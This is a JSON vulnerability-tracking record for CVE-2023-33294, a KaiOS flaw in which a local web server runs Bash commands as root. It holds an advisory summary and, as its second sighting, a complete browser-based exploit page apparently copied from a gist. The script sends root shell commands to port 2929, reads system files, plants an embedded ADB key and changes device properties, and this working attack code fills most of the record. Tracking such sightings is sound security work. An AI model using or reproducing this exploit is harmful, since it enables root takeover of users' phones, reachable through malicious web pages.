{"vulnerability": "cve-2023-33294", "sightings": [{"uuid": "826dbe95-94ef-40d7-95a6-805b6eec8152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-33294", "type": "seen", "source": "https://t.me/cibsecurity/64546", "content": "\u203c CVE-2023-33294 \u203c\n\nAn issue was discovered in KaiOS 3.0 before 3.1. The /system/bin/tctweb_server binary exposes a local web server that responds to GET and POST requests on port 2929. The server accepts arbitrary Bash commands and executes them as root. Because it is not permission or context restricted and returns proper CORS headers, it's accessible to all websites via the browser. At a bare minimum, this allows an attacker to retrieve a list of the user's installed apps, notifications, and downloads. It also allows an attacker to delete local files and modify system properties including the boolean persist.moz.killswitch property (which would render the device inoperable). This vulnerability is partially mitigated by SELinux which prevents reads, writes, or modifications to files or permissions within protected partitions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-22T20:25:32.000000Z"}, {"uuid": "3285ccb3-681e-4719-8a26-73ad19c972c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-33294", "type": "seen", "source": "https://gist.github.com/yissr/8edf9939a0dd771edb6bac5284f554b4", "content": "T435SP Root\n\n\n*{margin:0;padding:0;box-sizing:border-box}\nbody{font-family:monospace;font-size:14px;background:#111;color:#0f0;padding:8px}\nh1{font-size:16px;margin-bottom:8px}\n#log{white-space:pre-wrap;word-break:break-all;line-height:1.4}\n.err{color:#f44}.ok{color:#0f0}.info{color:#ff0}.cmd{color:#0af}\nbutton{background:#333;color:#0f0;border:1px solid #0f0;padding:6px 12px;margin:4px;font-family:monospace;font-size:14px}\n\n\nT435SP CVE-2023-33294\n\n\n\n1. TEST\n2. ROOT\n3. CHECK\n\nvar BASE = 'http://127.0.0.1:2929';\nvar ADB_KEY = 'QAAAABt2QW7tix+PJkW3MYipj3ITEtXtfJwPg8oYqR1EVEJYEitYGxT62VAktCTY8+bgqQpSb0V3qQuBk/UZZwrTxg397HWvSyvyUq/5gei9K6JI07QZE0ANgbSnB3/VdIT9fqi7BzgGuK5t+jK40IwKlmmfOeeL2wnABEbwBElbCYYRTPDnW7OvoovJ71L3z/JlhF6DDy70Dc6Hop0wHfD/elyp01ltcyC60mOTZj7m+SAGbb0PUbfdIiLdNyrp4N8r9Wlswl7b1UHvn7iCt8IKWNf6TtOCKJ9WqkkBqnaA4+yqHYyGqZkHTXmOi0AGrLr6yZmq6l7hspl3JvGzV1rF+WEoBTq4YcJ9KFf/2reaImZP5S9U8Y7i2lliAeyeF8dPXSaa+viYfehKj9mu6IzivjzBouEjD9xDLPoFUGNA9lI0FPMv9kZQy8gwEx8Zu+05oKQXNjNoU7sho+jirla8oCSmZSnniuFuCw9vquNIs9RJp9JiVo7J+cdE290c4Z6s0ygN65ddnQU7U9MMJVhF/92A7GYBylN9f0JIM+n6od3Eepb2TG1AvnLs94vT8UUxA76Md/TTYl9JWfIyAYGXWR6qkEfGrTnguK9sGncJFMxzftiXB2h7EpOh0WJUppEZ4QejGAQztjrhUDwtdp+xhttHRehtNh7uCTxJMvCQyUmoHlPsHwEAAQA= YK@DESKTOP-79K8P3I';\n\nfunction log(msg, cls) {\n  var el = document.getElementById('log');\n  var span = document.createElement('span');\n  span.className = cls || '';\n  span.textContent = msg + '\\n';\n  el.appendChild(span);\n  window.scrollTo(0, document.body.scrollHeight);\n}\n\nfunction tctweb(params) {\n  return fetch(BASE, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/x-www-form-urlencoded'},\n    body: params\n  }).then(function(r) { return r.text(); });\n}\n\nfunction shell(cmd) {\n  log('$ ' + cmd, 'cmd');\n  return tctweb('cmd=bash&cmdshell=' + encodeURIComponent(cmd))\n    .then(function(r) { log(r.trim()); return r.trim(); })\n    .catch(function(e) { log('ERROR: ' + e, 'err'); return ''; });\n}\n\nfunction readfile(path) {\n  return tctweb('cmd=bash&cmdshell=readfile&filename=' + encodeURIComponent(path));\n}\n\nfunction writefile(path, content) {\n  return tctweb('cmd=bash&cmdshell=writefile&filename=' + encodeURIComponent(path) + '&filecontent=' + encodeURIComponent(content));\n}\n\nfunction runTest() {\n  log('=== TESTING tctweb_server ===', 'info');\n  log('Connecting to ' + BASE + '...', 'info');\n\n  // Simple GET test first\n  fetch(BASE)\n    .then(function(r) { return r.text(); })\n    .then(function(t) {\n      log('SERVER IS ALIVE!', 'ok');\n      log('Response: ' + t.substring(0, 200), 'info');\n      // Now test command execution\n      return readfile('/system/build.prop');\n    })\n    .then(function(t) {\n      if (t) {\n        log('=== build.prop ===', 'info');\n        log(t.substring(0, 500));\n        // Extract key props\n        var lines = t.split('\\n');\n        for (var i = 0; i < lines.length; i++) {\n          var l = lines[i];\n          if (l.indexOf('ro.build.display') >= 0 ||\n              l.indexOf('ro.kaios') >= 0 ||\n              l.indexOf('ro.debuggable') >= 0 ||\n              l.indexOf('ro.adb.secure') >= 0 ||\n              l.indexOf('ro.secure') >= 0 ||\n              l.indexOf('ro.build.type') >= 0) {\n            log('>>> ' + l, 'ok');\n          }\n        }\n      }\n      return shell('id');\n    })\n    .then(function(t) {\n      if (t.indexOf('root') >= 0) {\n        log('*** RUNNING AS ROOT! ***', 'ok');\n      } else {\n        log('Not root: ' + t, 'err');\n      }\n      log('=== TEST COMPLETE ===', 'info');\n    })\n    .catch(function(e) {\n      log('FAILED: ' + e, 'err');\n      log('tctweb_server is NOT running or not accessible.', 'err');\n      log('This phone may be KaiOS 3.1+ (patched).', 'info');\n    });\n}\n\nfunction runExploit() {\n  log('=== ROOTING PHONE ===', 'info');\n\n  // Step 1: Check we have root\n  shell('id')\n    .then(function(t) {\n      if (t.indexOf('root') < 0) {\n        log('NOT ROOT - aborting', 'err');\n        return Promise.reject('not root');\n      }\n      log('Confirmed root access', 'ok');\n\n      // Step 2: Create adb_keys directory if needed\n      return shell('mkdir -p /data/misc/adb && chmod 750 /data/misc/adb && chown system:shell /data/misc/adb');\n    })\n    .then(function() {\n      log('Created /data/misc/adb/', 'ok');\n\n      // Step 3: Write ADB public key\n      return shell('echo \"' + ADB_KEY + '\" > /data/misc/adb/adb_keys && chmod 640 /data/misc/adb/adb_keys && chown system:shell /data/misc/adb/adb_keys');\n    })\n    .then(function() {\n      log('Wrote adb_keys', 'ok');\n\n      // Step 4: Verify\n      return shell('cat /data/misc/adb/adb_keys | head -c 60');\n    })\n    .then(function(t) {\n      if (t.indexOf('QAAAA') >= 0) {\n        log('ADB key verified!', 'ok');\n      } else {\n        log('Key verification unclear: ' + t, 'err');\n      }\n\n      // Step 5: Set properties for developer mode\n      return shell('setprop persist.sys.usb.config diag,serial_cdev,rmnet,adb');\n    })\n    .then(function() {\n      log('Set USB config property', 'ok');\n      return shell('setprop ro.debuggable 1');\n    })\n    .then(function() {\n      // ro.debuggable is read-only, but try anyway\n      return shell('setprop persist.service.adb.enable 1');\n    })\n    .then(function() {\n      log('Set ADB enable property', 'ok');\n\n      // Step 6: Restart adbd to pick up new keys\n      return shell('stop adbd && start adbd');\n    })\n    .then(function() {\n      log('Restarted adbd', 'ok');\n\n      // Step 7: Enable developer menu (KaiOS)\n      return shell('getprop ro.build.type');\n    })\n    .then(function(buildType) {\n      log('Build type: ' + buildType, 'info');\n\n      // Try to find and modify the settings DB\n      return shell('find /data/local -name \"*.sqlite\" -o -name \"settings*\" 2>/dev/null | head -20');\n    })\n    .then(function(t) {\n      log('Settings files: ' + t, 'info');\n\n      log('', '');\n      log('=== DONE ===', 'ok');\n      log('ADB key injected. Try connecting ADB from PC now.', 'ok');\n      log('If still unauthorized, reboot phone and retry ADB.', 'info');\n    })\n    .catch(function(e) {\n      log('EXPLOIT FAILED: ' + e, 'err');\n    });\n}\n\nfunction runCheck() {\n  log('=== POST-EXPLOIT CHECK ===', 'info');\n\n  shell('cat /data/misc/adb/adb_keys 2>/dev/null | wc -c')\n    .then(function(t) {\n      var bytes = parseInt(t);\n      log('adb_keys size: ' + bytes + ' bytes', bytes > 0 ? 'ok' : 'err');\n      return shell('getprop ro.adb.secure');\n    })\n    .then(function(t) {\n      log('ro.adb.secure = ' + t, t === '0' ? 'ok' : 'info');\n      return shell('getprop ro.debuggable');\n    })\n    .then(function(t) {\n      log('ro.debuggable = ' + t, t === '1' ? 'ok' : 'info');\n      return shell('getprop persist.sys.usb.config');\n    })\n    .then(function(t) {\n      log('usb.config = ' + t, 'info');\n      return shell('getprop sys.usb.state');\n    })\n    .then(function(t) {\n      log('usb.state = ' + t, 'info');\n      return shell('ps | grep adbd');\n    })\n    .then(function(t) {\n      log('adbd process: ' + t, t ? 'ok' : 'err');\n      return shell('ls -la /data/misc/adb/');\n    })\n    .then(function(t) {\n      log('adb dir: ' + t, 'info');\n      log('=== CHECK COMPLETE ===', 'info');\n    });\n}\n\nlog('TCL T435SP Root Tool', 'info');\nlog('CVE-2023-33294: tctweb_server RCE', 'info');\nlog('', '');\nlog('Press 1/TEST to check if vulnerable', 'info');\nlog('Press 2/ROOT to inject ADB key', 'info');\nlog('Press 3/CHECK to verify exploit', 'info');\n\n", "creation_timestamp": "2026-09-16T15:26:53.580441Z"}]}